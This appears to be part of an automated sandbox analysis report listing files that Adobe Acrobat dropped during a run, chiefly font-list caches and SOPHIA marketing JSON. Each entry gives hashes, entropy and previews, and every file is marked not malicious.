Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4216

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365617464924203
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJM3g98kUwPeUkwRe9:YvXKXDYK2feUTbdUjVGMbLUkee9
MD5:	8B6776866A11028F04A894FBC7D77A42
SHA1:	C5CE064665E96DB3EC521E77416701F593DCE2D6
SHA-256:	F1BCF6C802A494C5968BE233971B75156F464C0CA8C6C3C30BFC94ADE65CD4B3
SHA-512:	A66558B4067714712FD751DE7894E471542FC2B4AC95A0C75FBACD639A1BE50561E5E605A720B1DAA1FBF5EDF1934627737CBD700E8FFAFCF08121726A65FD18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300797139090304
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJfBoTfXpnrPeUkwRe9:YvXKXDYK2feUTbdUjVGWTfXcUkee9
MD5:	1713F1F33D6FB007E4B40D41466AD54D
SHA1:	0D823BC7CC59938B4B9B1A805D345D16E76B4161
SHA-256:	B68785D3078A17733404E17445C338DB339CED8A149B479DCEDD6FBCC4E99F18
SHA-512:	8E6693D1C34F3724B204678D92CAF2A1FBF89098CED9AE2BCAFF286F58A8075F7117E94F1F2051BFF6E8652570EB3004E702D73E1510C91F98AE63DC13C19DE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.27855820946213
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJfBD2G6UpnrPeUkwRe9:YvXKXDYK2feUTbdUjVGR22cUkee9
MD5:	DF1407BA7DF4CABE96AA721DCE0373DC
SHA1:	0CE1B2AFDCC7BA6BD4A44FCC918EE1D1EEF767ED
SHA-256:	7A868A85F9DC8C4C2E7470E43A095DC450A3E76B987F6DB559AC0F5CBE639781
SHA-512:	3EDFADA58A9E2BC74C646EB398CB712D081B5ABA6A0D4F6CEE226FF9E8835AA11AE5DF8FF38896073EE288B243453E0537E9B22FB79904CC5B1E9ADC929EF243
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.339975265290583
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJfPmwrPeUkwRe9:YvXKXDYK2feUTbdUjVGH56Ukee9
MD5:	9D34C88FD39B9D24F03CB6EFE9EBC233
SHA1:	966F38FEA98F9D10AD12E60B30DCBBCA37718D00
SHA-256:	13FA48FC104D5817A5650864C7A2BE83A69F2D427B49347835BB60191D761644
SHA-512:	3E5E21D53C217C5180E0E0B8895BDA499D7A950CA26453B2787ACBBB488C82FBCF69561514C2A8BE2045923ED0DE1BB8C0B22D3B012EA7BBD170E2EDE666A251
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68808002838401
Encrypted:	false
SSDEEP:	24:Yv6XDYv2UXy+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSd:YvyYv2wDhgy6SAFv5Ah8cv/d
MD5:	9F81D01C6055382899001DA834B2AAE4
SHA1:	9709BF134F78155C85EB8CEC81CC88C39C09313D
SHA-256:	59FAE369472EFF82A37AF1FA61539ECE40AA1C683F69C4287964B58BBD6E7EF2
SHA-512:	0AD9BB53AE5DCA49377DEEF2742A057CCF24F5BB7DBA79AF18CA156E1D5467C999D97220A446EC76213A2F1DBD5709C8201A64C0F1098C8F9541EBB50CB89222
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28113817261975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJf8dPeUkwRe9:YvXKXDYK2feUTbdUjVGU8Ukee9
MD5:	5B134EDB058A27ED1CDCB67A499CB589
SHA1:	0CC22A83D77E6A03ABF7A0882C311DCCDE08EE0A
SHA-256:	D21BD6D2CC2F2AB7F5467176DCF5646CF7CDB8205F7BE2533200178F53A74301
SHA-512:	0EED57BEA670AECFF7BF38AB13E8A11E23440EE6663320AEC250CDFC3C1CD1500E948311598A032DC5164BF93D02FE1FD48B7FF090CF68867C4944F2B66FF6B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.283345586427668
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJfQ1rPeUkwRe9:YvXKXDYK2feUTbdUjVGY16Ukee9
MD5:	E681466EEC54911DEA9EE97B7AA3961B
SHA1:	B4B103920B0B3AA1EB610FC9961CACF97D409E89
SHA-256:	00B790A1AD98B17C658ED775298830552DFE7365EFEF839A00D24C45DC21CD57
SHA-512:	7697FEE953509A5829F1257AFBF87319CCCCBE27ABC5305EB5189B98D07DF378A68B6ED6A17B4CDB69466BD1BF476902C8283F7FAACEE8121ADE1D088D81142C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295555064621952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJfFldPeUkwRe9:YvXKXDYK2feUTbdUjVGz8Ukee9
MD5:	E5F4DA023EDAA9AE3CB9D642C28F9356
SHA1:	FEF32CF9301D8DDF2EBA81E44EBA4895D486CA05
SHA-256:	B0A17776D9982AAF4556D8E9E536577B550CF5B15968DF990EADC01B00128583
SHA-512:	DA845050917EECD5A90E955CED6665149CBCE11F837A5ABFFF33EBF8207D0760EAAFC0DADD725FAC54F507F1740A204C91811828A1B0FEA99AB2F55B78450186
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.309100773968926
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJfzdPeUkwRe9:YvXKXDYK2feUTbdUjVGb8Ukee9
MD5:	13AF843AD118E0F69C7E0C4BE4776DD3
SHA1:	5BA05B8CA1A7A03AD47B528FA7089A06A3492D30
SHA-256:	BB748C65270F6DB4C5566DFD35B10288227FE3F2ACFCAC4D7C1128ECE89B5D8C
SHA-512:	6A014516FA624C8E20C8342F3BEA8EFE98676F112081ED1098C4171B8DA6067F40C17FEBBB41A8340CC1AF87C885C6567095E834FED2B38E5A131E1AF73969B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288925424214823
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJfYdPeUkwRe9:YvXKXDYK2feUTbdUjVGg8Ukee9
MD5:	7A3BDB966A87935399D869F4438ED450
SHA1:	FF797EC70837EBD19C3FA6C84EF100DB38E017D6
SHA-256:	4C42A311E13AEA49324B54DD48AFE845BE606F4528D6B799C0D4EEBCA6D88F6F
SHA-512:	8437AEAD4B262042AC70D4126C936C4E760287DE31827F27260D86866BA20E331DA2584EFBBC7CFF900D4127BC4FEF0A43E815A1C4566627D9FBAB52252896B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.275079813039542
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJf+dPeUkwRe9:YvXKXDYK2feUTbdUjVG28Ukee9
MD5:	88CA47C5F0F8F4CF3D594E3DC1315145
SHA1:	5F7DF0A69A2B05B1A9B39C0CC2F87C62DEFD6C48
SHA-256:	2499838347B86788DE89804F1BC4CDC89E0F56CBACA11335066486261AB7CD94
SHA-512:	B40F9666917DB40ACC95E5A4C533DE4E684C543CBBF2B2002BC6508AD31E525D94F0C479324529B01D65D137A7507A9DCF91BF6B82A64201ED9C7B202B80783A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.272548635811609
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJfbPtdPeUkwRe9:YvXKXDYK2feUTbdUjVGDV8Ukee9
MD5:	FEBA2DEB99FDAFC623A277996ACB8A25
SHA1:	56E0AF7F9CBEB6046206DD60895F66C590EDBFE0
SHA-256:	1C56721DFEEC61013BDAC17CF3002F9CC12958BF8DF3A73B8E4D8CC086E02219
SHA-512:	A5E3828CC6086BD5F18E717DA8D02A6B43B34FDA111AFBF68883465051BEDAC457BABECBFD0BA83923DC37380D6C843E5DFE9F31640B517E601892B09CE01184
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.275126917367751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJf21rPeUkwRe9:YvXKXDYK2feUTbdUjVG+16Ukee9
MD5:	09539B957DBF9028B6ACE3495A015C66
SHA1:	713B38F4F215E13044FCC959A99EBB1FD1979536
SHA-256:	4A0780FE788C5362B9F7109454CE0005C4E551D2246D31E7E3342448D5C913AB
SHA-512:	FA8C3F2AAA91299345E053DC285356FC6C87F9721BA02FB718E6CF635178D0CA0ED52757D3CD52B640855ADEF45F782164FE6F9FFAD0B56D6138E884B3140F99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662405422384442
Encrypted:	false
SSDEEP:	24:Yv6XDYv2UXyiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSd:YvyYv2wjBgkDMUJUAh8cvMd
MD5:	710CC52907E7B7D6CD1F0E2AA252410E
SHA1:	1A9B18048ACD19F490A41C36943EDD703C3AE762
SHA-256:	7097E6691661D08290A00B8EF3D66BDC7F9F80DA72FC2B7FDCFF67B0C0FC2C2D
SHA-512:	65BCE1F6F18F8E20A8A5D2C75F931CBBC94B9EB7331196E651264E5B353CD2D553A871B33208DFB17858BAA20D6580EB6C17A95058F8D4851C621FBF8D4B10C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.252390293762421
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJfshHHrPeUkwRe9:YvXKXDYK2feUTbdUjVGUUUkee9
MD5:	FA3E6A368CC2BC2564AD426AED5B7C84
SHA1:	97178C2768B0E634C366E8DC0A8382C0A1984E4D
SHA-256:	F4CEDE6CF551DF1BA2C3D14FF514EF73EDAD545D7D2EECB5D445EDC369E05D6D
SHA-512:	8E97C9B83465044A7101BAEB68CC3F5C542430E083E91A12B91EF29CC4FF4A40A1D16446A6B4FAB83FD54B67CB42C96B0BFA5FD9A63F773BC343A8EC7B026249
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.265498066366918
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDE/KQrUGeUXjb24kF0Yp2EeoAvJTqgFCrPeUkwRe9:YvXKXDYK2feUTbdUjVGTq16Ukee9
MD5:	6ACD8271D6FE4555DB5B86ED3B990103
SHA1:	10D4CA72155D519FEFB5DA028E4065684119F4B6
SHA-256:	04A7373930D1D67653339A225A4A2FEED026C915A7B0D1E91B1F9DF33A9BC967
SHA-512:	06F8C288170A421E0B1182C516C427C8D53A4F3B4A4B2C7073A58CE694B845E9EA738705BF54FD5A25F5BA1DBFF2464B56F801553CADC57829BB668272C9079F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b3ef370-f1bb-4251-b7f9-851dc1c41cce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751896686,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135981346788019
Encrypted:	false
SSDEEP:	24:Ybl+a3ElayqrHg3YS7oA6grl+WLKjOXDj0S2mo8gW2gy2LSICSZNipPw+k3+l5t6:YnZAlkA6g5+tOm833yuTepPkoPk9qFC
MD5:	FB80399A728BE10F6DB63B7075E3C682
SHA1:	C63482894E4EAFFBD48F841D13EE03A86CDB4199
SHA-256:	CF937F3957A855B499BD9923D112870F0AF12A2B687847F0FCA0DE7AFDC558C5
SHA-512:	8CA8DDADC0F874ED8A02E5FFF47B0C3B834ABE287DFBDAEA24738D10024FDBEB54118C8615E68EA76041EF670663225CA051FDD35B4CDB7615DDBDC881895C60
Malicious:	false
